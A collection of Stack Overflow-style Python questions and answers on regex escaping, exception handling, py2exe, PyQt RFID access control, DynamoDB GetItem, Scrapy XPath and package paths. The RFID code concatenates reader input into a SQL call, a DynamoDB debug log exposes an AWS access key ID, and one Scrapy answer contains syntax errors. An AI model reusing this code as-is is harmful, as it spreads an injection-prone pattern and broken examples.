Answer: Because your input string has no digit. `\d` means `capture a digit`.
If you want to capture a literal `\d`, you should use `\\d` pattern.
See [example here](https://regex101.com/r/aK4fA4/1).
This program
import re
p = re.compile(ur'\\d')
test_str = u"ca\d"
print re.search(p, test_str).group(0)
Will output `\d`.
As for `r''`, please check this [re
documentation](https://docs.python.org/2/library/re.html):
> The solution is to use Python’s raw string notation for regular expression
> patterns; backslashes are not handled in any special way in a string literal
> prefixed with 'r'. So r"\n" is a two-character string containing '\' and
> 'n', while "\n" is a one-character string containing a newline. Usually
> patterns will be expressed in Python code using this raw string notation.
It does not mean it does not process slashes anyhow, this just lets you use a
single slash instead of a doubled one. The slash is meaningful before `d` in a
regular expression.
And as for `\a`, there is no such a regex metacharacter, so `\` is treated as
a literal.
|
Hard time catching Environment Exception in Python
Question: I have this simple code to setup a logfile at specific location: (Python
2.7.3)
import os, errno
try:
CCustomLogger.setup_daemon_logger('TRexServer', "/var/log/trex/trex_daemon_server.log")
except EnvironmentError, e:
print "caught some exception...!"
if e.errno == errno.EACCES: # catching permission denied error
print "Launching user must have sudo privileges in order to run T-Rex daemon."
exit(1)
However, when I try to run it, I still get the error and can't catch it:
Traceback (most recent call last):
File "trex_daemon_server.py", line 50, in <module>
handler = logging.FileHandler("/var/log/trex/trex_daemon_server.log")
File "/usr/lib64/python2.7/logging/__init__.py", line 897, in __init__
StreamHandler.__init__(self, self._open())
File "/usr/lib64/python2.7/logging/__init__.py", line 916, in _open
stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: '/var/log/trex/trex_daemon_server.log'
What's weird here is that even the `some error` print in not printed.
I Googled a little bit and found out that this may be caused by indentation
error ([see here for
example](http://stackoverflow.com/questions/4799974/continue-on-except-of-a-
try-block-in-python)) but I think this isn't it...
What else could be the problem?
Thanks,
Answer: The code appears to be raising `IOError`, not `EnvironmentError`.
|
Py2exe, Runtimeerror with tweepy
Question: I wanted to use the python plugin for twitter called tweepy.
in my main.py file I just imported tweepy
import tweepy
My setup-file looks like this:
from distutils.core import setup
import py2exe
setup(
windows=[{
"script": 'main.py',
}],
options={
"py2exe": {
"includes": ["sip", "tweepy"]
}
}
)
When i execute python setupy.py py2exe via command line I get this repeating
codeblock until I get an RuntimeError: maximum recursion depth exceeded in
comparison.
File "C:\Python34\lib\site-packages\py2exe\hooks.py", line 291, in __getattr__
self.__finder.safe_import_hook(renamed, caller=self)
File "C:\Python34\lib\site-packages\py2exe\mf3.py", line 138, in safe_import_hook
self.import_hook(name, caller, fromlist, level)
File "C:\Python34\lib\site-packages\py2exe\mf3.py", line 120, in import_hook
module = self._gcd_import(name)
File "C:\Python34\lib\site-packages\py2exe\mf3.py", line 274, in _gcd_import
return self._find_and_load(name)
File "C:\Python34\lib\site-packages\py2exe\mf3.py", line 298, in _find_and_load
getattr(parent_module, name.rpartition('.')[2])
Does anyone knows a way to break out of this cycle?
Answer: [There seems to be a
bug](http://sourceforge.net/p/py2exe/mailman/message/33804567/) in the
`0.9.2.2` version of py2exe where the module `six.moves.urllib.parse` gets
into an infinite recursion loop until it reaches the maximum depth.
One way to go around it, if you don't really need the module, is to exclude
the module in your `setup.py`:
options={
"py2exe": {
"includes": ["sip", "tweepy"],
"excludes": ["six.moves.urllib.parse"]
}
}
|
PyQt : Manage two MainWindow
Question: i'm trying to manage two MainWindow (MainWindow & AccessWindow) with PyQt for
my RFID ACCESS CONTROL Project. I want to show the first MainWindow all time
(Endless Loop). Then, i want to hide it and show the second MainWindow when
the RFID Reader (who's working on "auto-reading mode") read an RFID Tag. so in
the main python program i have a pseudo "do while" loop (while True: and break
with a condition) to read on serial port the data provided by the reader. Then
i check a DB.. It's not important. So the trigger event is "when the reader
read something). I got some help from another forum and now i have this:
# -*- coding: utf-8 -*-
from PyQt4 import QtCore, QtGui
import sys, pyodbc, serial
import os
import time
#Variables
Code_Zone = "d"
class MainWindow(QtGui.QWidget):
def __init__(self, main):
super(MainWindow, self).__init__()
self.main = main
self.grid = QtGui.QGridLayout(self)
self.welcome = QtGui.QLabel("WELCOME", self)
self.grid.addWidget(self.welcome, 2, 2, 1, 5)
class AccessWindow(QtGui.QWidget):
def __init__(self):
super(AccessWindow, self).__init__()
self.setMinimumSize(150, 50)
self.grid = QtGui.QGridLayout(self)
self.label = QtGui.QLabel(self)
self.grid.addWidget(self.label, 1, 1, 1, 1)
class Main(object):
def __init__(self):
self.accueil = MainWindow(self)
self.accueil.show()
self.access = AccessWindow()
def wait(self):
# RFID READER ENDLESS LOOP
while 1:
global EPC_Code
ser = serial.Serial(port='COM6', baudrate=115200)
a = ser.read(19).encode('hex')
if (len(a)==38):
EPC_Code = a[14:]
print ('EPC is : ' + EPC_Code)
break
else:
continue
ser.close()
self.on_event(EPC_Code)
def on_event(self, data):
def refresh():
self.toggle_widget(False)
self.wait()
# vérification des données
EPC_Code = data
sql_command = "[Get_Access_RFID] @Code_RFID = '"+EPC_Code+"', @Code_Zone = '"+Code_Zone+"'" # STORED PROCEDURE
db_cursor.execute(sql_command)
rows = db_cursor.fetchone()
result= str(rows[0])
print ("result = " + str(result))
if result == "True":
# si OK
self.access.label.setText('ACCESS GRANTED')
else:
# si pas OK
self.access.label.setText('ACCESS DENIED')
self.toggle_widget(True)
QtCore.QTimer.singleShot(2000, refresh)
def toggle_widget(self, b):
self.accueil.setVisible(not b)
self.access.setVisible(b)
if __name__=='__main__':
cnxn = """DRIVER={SQL Server};SERVER=***;PORT=***;UID=***;PWD=***;DATABASE=***"""
db_connection = pyodbc.connect(cnxn)
db_cursor = db_connection.cursor()
print ('Connected TO DB & READY')
app = QtGui.QApplication(sys.argv)
main = Main()
main.wait()
sys.exit(app.exec_())
and now my problem is that the text of the first window doesn't appear when i
run the program but the text of the second window appear when i keep my badge
near the RFID Reader.
Answer: Instead of two `MainWindow`, create one. As content, create two classes which
extend `QtGui.QWidget` called `MainView` and `AccessView`. Instead of
replacing the window, just put the correct view into the window. That way, you
can swap views without opening/closing windows.
If you use a layout, then the window will resize to fit the view.
The next problem is that you block the UI thread which means Qt can't handle
events (like the "paint UI" event). To fix this, you must move the RFID
handling code in a background thread. You can emit signals from this
background thread to update the UI.
Note: You must not call UI code from a thread!! Just emit signals. PyQt's main
loop will see them and process them.
Related:
* <https://joplaete.wordpress.com/2010/07/21/threading-with-pyqt4/>
* [Updating GUI elements in MultiThreaded PyQT](http://stackoverflow.com/questions/9957195/updating-gui-elements-in-multithreaded-pyqt), especially the second example using signals. The first example is broken (calling `addItem()` from a thread) is not allowed)
|
How can I fix this error with django-autocomplete-light - Importerror No Module Named Shortcuts?
Question: So, for two days now I have been struggling to set up django-autocomplete-
light to do the most basic autocompletes, but to no avail. I've ran into so
many problems and so many errors that I cannot specify them here to solicit a
clear solution.
So, what I am attempting to do now is create a basic django application, from
scratch and drop in the "basic" example from the django-autocomplete-light
repository. Doing this to try to create a reproducible problem so I can get
support.
However, this too has been frustrating. I have ran into this error now...
File "/Users/josh/.virtualenvs/testaclite/lib/python2.7/site-packages/django/__init__.py", line 21, in setup
apps.populate(settings.INSTALLED_APPS)
File "/Users/josh/.virtualenvs/testaclite/lib/python2.7/site-packages/django/apps/registry.py", line 115, in populate
app_config.ready()
File "/Users/josh/.virtualenvs/testaclite/lib/python2.7/site-packages/autocomplete_light/apps.py", line 10, in ready
autocomplete_light.autodiscover()
File "/Users/josh/.virtualenvs/testaclite/lib/python2.7/site-packages/autocomplete_light/registry.py", line 290, in autodiscover
autodiscover_modules('autocomplete_light_registry')
File "/Users/josh/.virtualenvs/testaclite/lib/python2.7/site-packages/django/utils/module_loading.py", line 74, in autodiscover_modules
import_module('%s.%s' % (app_config.name, module_to_search))
File "/System/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/importlib/__init__.py", line 37, in import_module
__import__(name)
File "/Users/josh/Development/python/testaclite/aclite/basic/autocomplete_light_registry.py", line 1, in <module>
import autocomplete_light.shortcuts as autocomplete_light
ImportError: No module named shortcuts
What can I do to resolve this?
Answer: Really, credit for this answer should go to karthikr for pointing out to me
the problem. To fix it, I installed django-autocomplete-light from a
particular branch that had recently been updated. I used the following command
to do so:
pip install -e git+git://github.com/yourlabs/[email protected]#egg=autocomplete_light
|
Dynamodb2 Table.get_item() throws ValidationException "The number of conditions on the keys is invalid"
Question: I am just doing a simple task in DynamoDB:
1. Create a Table,
2. Add an Item to it
3. Query the Table for that Item.
Here's a script that I am using:
from boto.dynamodb2.fields import HashKey, RangeKey, AllIndex, GlobalAllIndex
from boto.dynamodb2.items import Item
from boto.dynamodb2.layer1 import DynamoDBConnection
from boto.dynamodb2.table import Table
# Using DynamoDB Local
conn = DynamoDBConnection(host='localhost', port=8000, is_secure=False)
## ----- Create a table -----
throughput = {
'write': 1,
'read': 1
}
schema = [
HashKey('id'),
RangeKey('rating')
]
local_indexes = [
AllIndex('local_all_index_seats', parts=[
HashKey('id'),
RangeKey('seats')
])
]
global_indexes = [
GlobalAllIndex('global_all_index_color', parts=[
HashKey('color'),
RangeKey('rating')
])
]
new_table = Table.create('items', schema=schema, indexes=local_indexes,
global_indexes=global_indexes, connection=conn,
throughput=throughput)
print 'Table created'
## -------- Table created ---------
## -------- Add an item --------
items_table = Table('items', connection=conn) # New reference to the table we created
new_item_data = {
"category": "Sofa",
"rating": "4",
"color": "beige",
"seats": "6",
"id": "first_id"
}
new_item = Item(items_table, new_item_data)
new_item.save()
print 'New item saved'
## -------- Item added --------
## -------- Query Item --------
items_table = Table('items', connection=conn) # New reference to the table we created
queried_item = items_table.get_item(id='first_id')
print 'Query done. Category is: {}'.format(queried_item['Category'])
## -------- Querying Done --------
When I run this script, I get a `ValidationException`:
(backend)aniket [~/PycharmProjects/website_backend] -> python reproduce.py ±[●●][master]
Table created
New item saved
Traceback (most recent call last):
File "reproduce.py", line 59, in <module>
queried_item = items_table.get_item(id='first_id')
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/table.py", line 705, in get_item
consistent_read=consistent
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 1099, in get_item
body=json.dumps(params))
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 2842, in make_request
retry_handler=self._retry_handler)
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/connection.py", line 954, in _mexe
status = retry_handler(response, i, next_sleep)
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 2882, in _retry_handler
response.status, response.reason, data)
boto.dynamodb2.exceptions.ValidationException: ValidationException: 400 Bad Request
{u'Message': u'The number of conditions on the keys is invalid', u'__type': u'com.amazon.coral.validate#ValidationException'}
I am pretty sure I am doing something wrong, but I can't figure out what. The
DynamoDB Docs mention that it is possible to query using _only_ the HashKey,
so what I am doing seems to be pretty normal.
In case it helps, I also added debug logging, and here's the output:
(backend)aniket [~/PycharmProjects/website_backend] -> python reproduce.py ±[●●][master]
2015-04-15 20:04:48,218 [DEBUG] (boto) Using access key found in shared credential file.
2015-04-15 20:04:48,218 [DEBUG] (boto) Using secret key found in shared credential file.
2015-04-15 20:04:48,219 [DEBUG] (boto) Method: POST
2015-04-15 20:04:48,219 [DEBUG] (boto) Path: /
2015-04-15 20:04:48,219 [DEBUG] (boto) Data: {"GlobalSecondaryIndexes": [{"KeySchema": [{"KeyType": "HASH", "AttributeName": "color"}, {"KeyType": "RANGE", "AttributeName": "rating"}], "IndexName": "global_all_index_color", "Projection": {"ProjectionType": "ALL"}, "ProvisionedThroughput": {"WriteCapacityUnits": 5, "ReadCapacityUnits": 5}}], "AttributeDefinitions": [{"AttributeName": "id", "AttributeType": "S"}, {"AttributeName": "rating", "AttributeType": "S"}, {"AttributeName": "seats", "AttributeType": "S"}, {"AttributeName": "color", "AttributeType": "S"}], "LocalSecondaryIndexes": [{"KeySchema": [{"KeyType": "HASH", "AttributeName": "id"}, {"KeyType": "RANGE", "AttributeName": "seats"}], "IndexName": "local_all_index_seats", "Projection": {"ProjectionType": "ALL"}}], "ProvisionedThroughput": {"WriteCapacityUnits": 1, "ReadCapacityUnits": 1}, "TableName": "items", "KeySchema": [{"KeyType": "HASH", "AttributeName": "id"}, {"KeyType": "RANGE", "AttributeName": "rating"}]}
2015-04-15 20:04:48,219 [DEBUG] (boto) Headers: {'Host': 'localhost', 'Content-Type': 'application/x-amz-json-1.0', 'Content-Length': '942', 'X-Amz-Target': 'DynamoDB_20120810.CreateTable'}
2015-04-15 20:04:48,219 [DEBUG] (boto) Host: localhost
2015-04-15 20:04:48,219 [DEBUG] (boto) Port: 8000
2015-04-15 20:04:48,219 [DEBUG] (boto) Params: {}
2015-04-15 20:04:48,219 [DEBUG] (boto) establishing HTTP connection: kwargs={'port': 8000, 'timeout': 70}
2015-04-15 20:04:48,219 [DEBUG] (boto) Token: None
2015-04-15 20:04:48,219 [DEBUG] (boto) CanonicalRequest:
POST
/
host:localhost
x-amz-date:20150415T143448Z
x-amz-target:DynamoDB_20120810.CreateTable
host;x-amz-date;x-amz-target
4d4b471da224cff0353d444ba9f31ecbda7ac332b618c8db038940477cf5fbd9
2015-04-15 20:04:48,219 [DEBUG] (boto) StringToSign:
AWS4-HMAC-SHA256
20150415T143448Z
20150415/localhost/localhost/aws4_request
a54fd62c95217cf6fafe69876388ac3ae8ffd4b2d87e23f71a131741d3e64792
2015-04-15 20:04:48,219 [DEBUG] (boto) Signature:
51e3035fcfef8b31f8d6c0e22779ba4b17990d3f91f8dfda6b70e559ee5c384e
2015-04-15 20:04:48,220 [DEBUG] (boto) Final headers: {'Content-Length': '942', 'User-Agent': 'Boto/2.38.0 Python/2.7.6 Linux/3.16.0-30-generic', 'Host': 'localhost', 'X-Amz-Date': '20150415T143448Z', 'X-Amz-Target': 'DynamoDB_20120810.CreateTable', 'Content-Type': 'application/x-amz-json-1.0', 'Authorization': 'AWS4-HMAC-SHA256 Credential=AKIAJW2Q5MT375WFZIMA/20150415/localhost/localhost/aws4_request,SignedHeaders=host;x-amz-date;x-amz-target,Signature=51e3035fcfef8b31f8d6c0e22779ba4b17990d3f91f8dfda6b70e559ee5c384e'}
2015-04-15 20:04:49,004 [DEBUG] (boto) Response headers: [('x-amzn-requestid', 'e4cd23ec-ad5a-4f94-8d80-dd9f002b0f28'), ('content-length', '1160'), ('content-type', 'application/x-amz-json-1.0'), ('x-amz-crc32', '175075191'), ('server', 'Jetty(8.1.12.v20130726)')]
2015-04-15 20:04:49,004 [DEBUG] (boto) Saw HTTP status: 200
2015-04-15 20:04:49,004 [DEBUG] (boto) Validating crc32 checksum for body: {"TableDescription":{"AttributeDefinitions":[{"AttributeName":"id","AttributeType":"S"},{"AttributeName":"rating","AttributeType":"S"},{"AttributeName":"seats","AttributeType":"S"},{"AttributeName":"color","AttributeType":"S"}],"TableName":"items","KeySchema":[{"AttributeName":"id","KeyType":"HASH"},{"AttributeName":"rating","KeyType":"RANGE"}],"TableStatus":"ACTIVE","CreationDateTime":1429108488.651,"ProvisionedThroughput":{"LastIncreaseDateTime":0.000,"LastDecreaseDateTime":0.000,"NumberOfDecreasesToday":0,"ReadCapacityUnits":1,"WriteCapacityUnits":1},"TableSizeBytes":0,"ItemCount":0,"LocalSecondaryIndexes":[{"IndexName":"local_all_index_seats","KeySchema":[{"AttributeName":"id","KeyType":"HASH"},{"AttributeName":"seats","KeyType":"RANGE"}],"Projection":{"ProjectionType":"ALL"},"IndexSizeBytes":0,"ItemCount":0}],"GlobalSecondaryIndexes":[{"IndexName":"global_all_index_color","KeySchema":[{"AttributeName":"color","KeyType":"HASH"},{"AttributeName":"rating","KeyType":"RANGE"}],"Projection":{"ProjectionType":"ALL"},"IndexStatus":"ACTIVE","ProvisionedThroughput":{"ReadCapacityUnits":5,"WriteCapacityUnits":5},"IndexSizeBytes":0,"ItemCount":0}]}}
2015-04-15 20:04:49,004 [DEBUG] (boto) {"TableDescription":{"AttributeDefinitions":[{"AttributeName":"id","AttributeType":"S"},{"AttributeName":"rating","AttributeType":"S"},{"AttributeName":"seats","AttributeType":"S"},{"AttributeName":"color","AttributeType":"S"}],"TableName":"items","KeySchema":[{"AttributeName":"id","KeyType":"HASH"},{"AttributeName":"rating","KeyType":"RANGE"}],"TableStatus":"ACTIVE","CreationDateTime":1429108488.651,"ProvisionedThroughput":{"LastIncreaseDateTime":0.000,"LastDecreaseDateTime":0.000,"NumberOfDecreasesToday":0,"ReadCapacityUnits":1,"WriteCapacityUnits":1},"TableSizeBytes":0,"ItemCount":0,"LocalSecondaryIndexes":[{"IndexName":"local_all_index_seats","KeySchema":[{"AttributeName":"id","KeyType":"HASH"},{"AttributeName":"seats","KeyType":"RANGE"}],"Projection":{"ProjectionType":"ALL"},"IndexSizeBytes":0,"ItemCount":0}],"GlobalSecondaryIndexes":[{"IndexName":"global_all_index_color","KeySchema":[{"AttributeName":"color","KeyType":"HASH"},{"AttributeName":"rating","KeyType":"RANGE"}],"Projection":{"ProjectionType":"ALL"},"IndexStatus":"ACTIVE","ProvisionedThroughput":{"ReadCapacityUnits":5,"WriteCapacityUnits":5},"IndexSizeBytes":0,"ItemCount":0}]}}
Table created
2015-04-15 20:04:49,004 [DEBUG] (boto) Method: POST
2015-04-15 20:04:49,004 [DEBUG] (boto) Path: /
2015-04-15 20:04:49,004 [DEBUG] (boto) Data: {"Expected": {"category": {"Exists": false}, "rating": {"Exists": false}, "id": {"Exists": false}, "color": {"Exists": false}, "seats": {"Exists": false}}, "Item": {"category": {"S": "Sofa"}, "rating": {"S": "4"}, "id": {"S": "first_id"}, "color": {"S": "beige"}, "seats": {"S": "6"}}, "TableName": "items"}
2015-04-15 20:04:49,004 [DEBUG] (boto) Headers: {'Host': 'localhost', 'Content-Type': 'application/x-amz-json-1.0', 'Content-Length': '307', 'X-Amz-Target': 'DynamoDB_20120810.PutItem'}
2015-04-15 20:04:49,005 [DEBUG] (boto) Host: localhost
2015-04-15 20:04:49,005 [DEBUG] (boto) Port: 8000
2015-04-15 20:04:49,005 [DEBUG] (boto) Params: {}
2015-04-15 20:04:49,005 [DEBUG] (boto) Token: None
2015-04-15 20:04:49,005 [DEBUG] (boto) CanonicalRequest:
POST
/
host:localhost
x-amz-date:20150415T143449Z
x-amz-target:DynamoDB_20120810.PutItem
host;x-amz-date;x-amz-target
96fd2aee6eabd2c812d7111c9a47ba21c31ccc86859c963cfa3fd69a18edc957
2015-04-15 20:04:49,005 [DEBUG] (boto) StringToSign:
AWS4-HMAC-SHA256
20150415T143449Z
20150415/localhost/localhost/aws4_request
9ed70485aa9e7036fd2db89e34036c9e24a3c91b6e35dbb7fc2cd476b4766f21
2015-04-15 20:04:49,005 [DEBUG] (boto) Signature:
1d81bae229584b7466c6951a71010c8e2d7a441e80b2e9b5a60d9782859345dc
2015-04-15 20:04:49,005 [DEBUG] (boto) Final headers: {'Content-Length': '307', 'User-Agent': 'Boto/2.38.0 Python/2.7.6 Linux/3.16.0-30-generic', 'Host': 'localhost', 'X-Amz-Date': '20150415T143449Z', 'X-Amz-Target': 'DynamoDB_20120810.PutItem', 'Content-Type': 'application/x-amz-json-1.0', 'Authorization': 'AWS4-HMAC-SHA256 Credential=AKIAJW2Q5MT375WFZIMA/20150415/localhost/localhost/aws4_request,SignedHeaders=host;x-amz-date;x-amz-target,Signature=1d81bae229584b7466c6951a71010c8e2d7a441e80b2e9b5a60d9782859345dc'}
2015-04-15 20:04:49,287 [DEBUG] (boto) Response headers: [('x-amzn-requestid', '80571386-1ce7-4f9b-84fb-6805a0dfa171'), ('content-length', '2'), ('content-type', 'application/x-amz-json-1.0'), ('x-amz-crc32', '2745614147'), ('server', 'Jetty(8.1.12.v20130726)')]
2015-04-15 20:04:49,287 [DEBUG] (boto) Saw HTTP status: 200
2015-04-15 20:04:49,287 [DEBUG] (boto) Validating crc32 checksum for body: {}
2015-04-15 20:04:49,287 [DEBUG] (boto) {}
New item saved
2015-04-15 20:04:49,288 [DEBUG] (boto) Method: POST
2015-04-15 20:04:49,288 [DEBUG] (boto) Path: /
2015-04-15 20:04:49,288 [DEBUG] (boto) Data: {"ConsistentRead": false, "TableName": "items", "Key": {"id": {"S": "first_id"}}}
2015-04-15 20:04:49,288 [DEBUG] (boto) Headers: {'Host': 'localhost', 'Content-Type': 'application/x-amz-json-1.0', 'Content-Length': '81', 'X-Amz-Target': 'DynamoDB_20120810.GetItem'}
2015-04-15 20:04:49,289 [DEBUG] (boto) Host: localhost
2015-04-15 20:04:49,289 [DEBUG] (boto) Port: 8000
2015-04-15 20:04:49,289 [DEBUG] (boto) Params: {}
2015-04-15 20:04:49,289 [DEBUG] (boto) Token: None
2015-04-15 20:04:49,289 [DEBUG] (boto) CanonicalRequest:
POST
/
host:localhost
x-amz-date:20150415T143449Z
x-amz-target:DynamoDB_20120810.GetItem
host;x-amz-date;x-amz-target
1563f0044c8fc746bb9a0ec2e4754e5fd03e62d604102f0745920d8c49481e88
2015-04-15 20:04:49,289 [DEBUG] (boto) StringToSign:
AWS4-HMAC-SHA256
20150415T143449Z
20150415/localhost/localhost/aws4_request
059601773b2e09d4c42f984cb185bf565e47a9dff8d42b3ae15dd61b4fc41f76
2015-04-15 20:04:49,289 [DEBUG] (boto) Signature:
e22cfe8b3e3e03dfa4e05ec11f333f9aaff0edcdbf498ebfa9d0e7dc5b452916
2015-04-15 20:04:49,290 [DEBUG] (boto) Final headers: {'Content-Length': '81', 'User-Agent': 'Boto/2.38.0 Python/2.7.6 Linux/3.16.0-30-generic', 'Host': 'localhost', 'X-Amz-Date': '20150415T143449Z', 'X-Amz-Target': 'DynamoDB_20120810.GetItem', 'Content-Type': 'application/x-amz-json-1.0', 'Authorization': 'AWS4-HMAC-SHA256 Credential=AKIAJW2Q5MT375WFZIMA/20150415/localhost/localhost/aws4_request,SignedHeaders=host;x-amz-date;x-amz-target,Signature=e22cfe8b3e3e03dfa4e05ec11f333f9aaff0edcdbf498ebfa9d0e7dc5b452916'}
2015-04-15 20:04:49,315 [DEBUG] (boto) Response headers: [('x-amzn-requestid', '51547354-f266-4870-8c79-6192e7d7c7b5'), ('content-length', '118'), ('content-type', 'application/x-amz-json-1.0'), ('server', 'Jetty(8.1.12.v20130726)')]
2015-04-15 20:04:49,316 [DEBUG] (boto) Saw HTTP status: 400
2015-04-15 20:04:49,316 [DEBUG] (boto) {"__type":"com.amazon.coral.validate#ValidationException","Message":"The number of conditions on the keys is invalid"}
Traceback (most recent call last):
File "reproduce.py", line 71, in <module>
queried_item = items_table.get_item(id='first_id')
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/table.py", line 705, in get_item
consistent_read=consistent
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 1099, in get_item
body=json.dumps(params))
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 2842, in make_request
retry_handler=self._retry_handler)
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/connection.py", line 954, in _mexe
status = retry_handler(response, i, next_sleep)
File "/home/aniket/venv/backend/local/lib/python2.7/site-packages/boto/dynamodb2/layer1.py", line 2882, in _retry_handler
response.status, response.reason, data)
boto.dynamodb2.exceptions.ValidationException: ValidationException: 400 Bad Request
{u'Message': u'The number of conditions on the keys is invalid', u'__type': u'com.amazon.coral.validate#ValidationException'}
Answer: `GetItem` in DynamoDB needs the same number of key conditions as the number of
keys, largely because the operation must find the exact item in the table. For
the primary key, you must provide all of the attributes. There should be only
one item, if any, matching the **Get** expectations. This is written in the
[DynamoDB
doc](http://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_GetItem.html).
On contrast, you can use `Query` to get multiple (possibly) items for a given
condition. Since you know this I believe, I think you mistakenly used the
wrong `get_item()` api, instead of `query()` or something alike.
|
Find what part of a string do not match with regular expression python
Question: In order to see if a filename is correctly named (using re) I use the
following regular expression pattern :
*^S_hc_[0-9]{1,2}\.[0-9]{1,2}\.[0-9]{1,2}_[0-9]{4,4}-[0-9]{1,3}T[0-9]{6,6}\.xml$"*
Here is a correct file name : `*S_hc_1.2.3_2014-213T123121.xml*`
Here is an incorrect file name :
`*S_hc_1.2.IncorrectName_2014-213T123121.xml*`
I would like to know if a simple way to retrieve the part of the file which to
do not match exits.
In the end, an error message would display :
Error, incorrect file name, the part 'IncorrectName' does not match with expected name.
Answer: You can use `re.split` and a generator expression within
[`next`](https://docs.python.org/2/library/functions.html#next) but you also
need to check the structure of your string that match waht you want, you can
do it with following re.match :
re.match(r"^S_hc_(.*)\.(.*)\.(.*)_(.*)-(.*)\.xml$",s2)
And in code:
>>> import re
>>> s2 ='S_hc_1.2.IncorrectName_2014-213T123121.xml'
>>> s1
'S_hc_1.2.3_2014-213T123121.xml'
#with s1
>>> next((i for i in re.split(r'^S_hc_|[0-9]{1,2}\.|[0-9]{1,2}_|_|[0-9]{4,4}|-|[0-9]{1,3}T[0-9]{6}|\.|xml$',s1) if i and re.match(r"^S_hc_(.*)\.(.*)\.(.*)_(.*)-(.*)\.xml$",s2)),None)
#with s2
>>> next((i for i in re.split(r'^S_hc_|[0-9]{1,2}\.|[0-9]{1,2}_|_|[0-9]{4,4}|-|[0-9]{1,3}T[0-9]{6}|\.|xml$',s2) if i and re.match(r"^S_hc_(.*)\.(.*)\.(.*)_(.*)-(.*)\.xml$",s2)),None)
'IncorrectName'
All you need is to use pip (`|`) between unique part of your regex
patterns,then the `split` function will split your string based on one of that
patterns.
And the part that doesn't match with one of your pattern will not be split and
you can find it with looping over your split text!
> **next(iterator[, default])**
>
> Retrieve the next item from the iterator by calling its next() method. If
> default is given, it is returned if the iterator is exhausted, otherwise
> StopIteration is raised.
If you want in several line :
>>> for i in re.split(r'^S_hc_|[0-9]{1,2}\.|[0-9]{1,2}_|_|[0-9]{4,4}|-|[0-9]{1,3}T[0-9]{6}|\.|xml$',s2):
... if i and re.match(r"^S_hc_(.*)\.(.*)\.(.*)_(.*)-(.*)\.xml$",s2):
... print i
...
IncorrectName
|
XPath Syntax - Scrapy
Question: So I've been trying to find a syntax reference guide to finish off a basic
screen scraper tool using Scrapy and a Craigslist Jobs site. This is just for
practice as I learn about Scrapy more and move into more complex projects -
jumping pages, filling out search forms, etc.
This is what my code looks like for Scrapy:
from scrapy.spider import BaseSpider
from scrapy.selector import HtmlXPathSelector
from craigslist_sample.items import CraigslistSampleItem
class MySpider(BaseSpider):
name = "craig"
allowed_domains = ["craigslist.org"]
start_urls = ["https://gainesville.craigslist.org/search/jjj"]
def parse(self, response):
hxs = HtmlXPathSelector(response)
titles = hxs.select("//p")
items = []
for titles in titles:
item = CraigslistSampleItem()
item ["title"] = titles.select("").extract()
item ["link"] = titles.select("a/@href").extract()
items.append(item)
return items
Obviously as you can see, I have a craiglist sample item python file that
contains the elemetns for title and link. I can't seem to figure out line 16:
the XPath for the element I am trying to grab - which is the title of the
Craiglist posting.
My XPath for the link works, it's under
<p><a href='URL'>
in the craigslist posting.
The craigslist posting title is under:
<p><span><span><a class="hdrlnk">Example Job Description</a>
I've messed around with it and I've been able to get the outputs for title of
hdrlnk and also '1'. I'm not sure what Im doing wrong. Any help would be
greatly appreciated!
As a bonus, does anyone know how I would then tell Scrapy to go to the next
page and run the same script?
Thanks!
Answer: you can try this out,
BASE_URL = 'https://gainesville.craigslist.org'
titles = response.xpath('//p[@class="row"]')
for title in titles:
# extracting the title
name = title.xpath('.//a[@class="hdrlnk"]/text()').extract()
# cleaning the data
name = name[0].strip() if name else 'N/A'
link = title.xpath('.//a[@class="hdrlnk"]/@href').extract()
link = BASE_URL + link[0].strip() if link else 'N/A
item = CraigslistSampleItem(title=name, link=link)
yield items
if you want the pagination, then the complete code will look like,
def parse(self, response):
BASE_URL = 'https://gainesville.craigslist.org'
titles = response.xpath('//p[@class="row"]')
for title in titles:
# extracting the title
name = title.xpath('.//a[@class="hdrlnk"]/text()').extract()
# cleaning the data
name = name[0].strip() if name else 'N/A'
link = title.xpath('.//a[@class="hdrlnk"]/@href').extract()
link = BASE_URL + link[0].strip() if link else 'N/A
item = CraigslistSampleItem(title=name, link=link)
yield items
next_page = response.xpath('//a[@class="button next"]/@href').extract()
if next_page:
next_page_url = BASE_URL + next_page[0].strip()
yield Request(url=next_page_url, callback=self.parse)
|
Having python 3.4 find my custom package
Question: I wrote a package in python and now I am trying to add it to my site-packages
folder using a .pth file so that I can call it from anywhere using import
statement, but it is not working.
`sste.pth` file in my site-packages folder
/scratch/automation/sste
sste folder structure
sste-\
---__init__.py
---module1.py
---module2.py
From what I understand when I launch python it should source the site_packages
file, including my `sste.pth` file and add `/scratch/automation/sste` to the
module list so I can import it by doing `import sste`, but I get an `import
error`, and can't figure out why.
Answer: It looks like you have directed Python to look for your module in
`/scratch/automation/sste` when `sste` is itself a package. When Python looks
in `/scratch/automation/sste` it is not going to find a package named `sste`,
only `.py` files named `__init__.py`, `module1.py`, and `module2.py`.
In short, you should be telling Python to look in `/scratch/automation` for
modules instead. Python's path is not a list of modules it can import, but
rather a list of directories that may _contain_ modules.
Also, check `sys.modules` to make sure the directories you expect to be in it
are there.
|
how to test mnist on my own dataset images
Question: I'm trying to test mnist using my own dataset of digits images.
I wrote a python script for that but it is giving an error. error is in line
no 16 of code. Actually i'm not able to send image for test. give me some
suggestions. thanks in advance.
import numpy as np
import sys
import caffe
import matplotlib.pyplot as plt
import os
caffe_root = '../caffe-master/'
MODEL_FILE = './examples/mnist/lenet.prototxt'
PRETRAINED = './examples/mnist/lenet_iter_10000.caffemodel'
IMAGE_FILE = '/home/hemant/OpenCVProject/grey/img001-00001.png'#image path
input_image = caffe.io.load_image(IMAGE_FILE)
